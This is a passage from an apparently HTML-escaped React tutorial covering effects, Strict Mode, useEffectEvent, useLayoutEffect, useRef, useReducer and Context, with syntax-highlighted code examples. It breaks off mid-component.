      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`HTTP &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nf"&gt;setUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;AbortError&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;setError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;controller&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="c1"&gt;// prevents race conditions&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;fetch&lt;/code&gt; does &lt;strong&gt;not&lt;/strong&gt; reject on 404 or 500. Always check &lt;code&gt;res.ok&lt;/code&gt;.&lt;br&gt;
In real apps, prefer TanStack Query or your framework's data loading over hand-written fetch effects.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Strict Mode
&lt;/h3&gt;

&lt;p&gt;In development, &lt;code&gt;&amp;lt;StrictMode&amp;gt;&lt;/code&gt; runs setup, cleanup, setup again on mount. If this breaks your app, your cleanup is missing. It is a feature, not a bug. Production runs once.&lt;/p&gt;

&lt;h3&gt;
  
  
  You might not need an effect
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;You wrote an effect to...&lt;/th&gt;
&lt;th&gt;Do this instead&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Compute data from props or state&lt;/td&gt;
&lt;td&gt;Calculate during render&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reset state when a prop changes&lt;/td&gt;
&lt;td&gt;Use &lt;code&gt;key&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Handle a button click&lt;/td&gt;
&lt;td&gt;Put the logic in the event handler&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Send analytics for a user action&lt;/td&gt;
&lt;td&gt;Event handler&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chain state updates&lt;/td&gt;
&lt;td&gt;Compute everything in one handler&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  useEffectEvent (React 19.2)
&lt;/h3&gt;

&lt;p&gt;Use it when an effect needs the &lt;strong&gt;latest&lt;/strong&gt; props or state but should &lt;strong&gt;not re-run&lt;/strong&gt; because of them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useEffectEvent&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Chat&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;roomId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;theme&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;onConnected&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useEffectEvent&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;showToast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Connected&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

  &lt;span class="nf"&gt;useEffect&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createConnection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;roomId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;connected&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;onConnected&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
    &lt;span class="nx"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disconnect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;roomId&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="c1"&gt;// theme is not a dependency, by design&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Call effect events only from inside effects. Do not pass them to children or put them in dependency arrays.&lt;/p&gt;

&lt;h3&gt;
  
  
  useLayoutEffect
&lt;/h3&gt;

&lt;p&gt;Runs after DOM changes but &lt;strong&gt;before the browser paints&lt;/strong&gt;. Use it to measure an element (tooltip position) and adjust without flicker. It blocks painting, so use it rarely.&lt;/p&gt;




&lt;h2&gt;
  
  
  11. useRef
&lt;/h2&gt;

&lt;p&gt;A ref is a box with a &lt;code&gt;.current&lt;/code&gt; property. Changing it does &lt;strong&gt;not&lt;/strong&gt; re-render.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;SearchBox&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;inputRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useRef&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;inputRef&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;inputRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Focus&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Use &lt;code&gt;useRef&lt;/code&gt; for&lt;/th&gt;
&lt;th&gt;Use &lt;code&gt;useState&lt;/code&gt; for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DOM nodes (focus, scroll, measure)&lt;/td&gt;
&lt;td&gt;Anything shown on screen&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Timer IDs, previous values&lt;/td&gt;
&lt;td&gt;Anything that must trigger a re-render&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mutable values the UI does not display&lt;/td&gt;
&lt;td&gt;Form values you want to control&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Do not read or write &lt;code&gt;ref.current&lt;/code&gt; during render (except one-time initialization). Do it in handlers and effects.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Ref as a prop (React 19):&lt;/strong&gt; function components now receive &lt;code&gt;ref&lt;/code&gt; as a normal prop. &lt;code&gt;forwardRef&lt;/code&gt; is no longer needed for new code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;MyInput&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;props&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;input&lt;/span&gt; &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;ref&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;props&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Ref callbacks can return a cleanup function (19):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;ref&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;observer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ResizeObserver&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;observer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;observe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;node&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;observer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;disconnect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. useReducer and Context
&lt;/h2&gt;

&lt;h3&gt;
  
  
  useReducer
&lt;/h3&gt;

&lt;p&gt;Use it when state updates are many, related, or complex.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;reducer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;switch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;add&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;crypto&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;randomUUID&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;done&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}];&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;toggle&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;done&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;done&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;remove&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nl"&gt;default&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Unknown action: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;type&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;todos&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useReducer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;reducer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;span class="nf"&gt;dispatch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;add&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Learn React&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reducers must be &lt;strong&gt;pure&lt;/strong&gt;: no fetch, no random, no mutation.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;useState&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;useReducer&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Simple, independent values&lt;/td&gt;
&lt;td&gt;Many related fields, many action types&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Less code&lt;/td&gt;
&lt;td&gt;Logic is centralized and testable&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Context
&lt;/h3&gt;

&lt;p&gt;Context lets any descendant read a value without passing props through every level.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;useMemo&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;react&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ThemeContext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;light&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;App&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setTheme&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;light&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;useMemo&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;setTheme&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;theme&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;

  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="c1"&gt;// React 19: use the context itself as the provider&lt;/span&gt;
    &lt;span class="c1"&gt;// React 18 and older: &amp;lt;ThemeContext.Provider value={value}&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;ThemeContext&lt;/span&gt; &lt;span class="na"&gt;value&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Page&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nc"&gt;ThemeContext&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
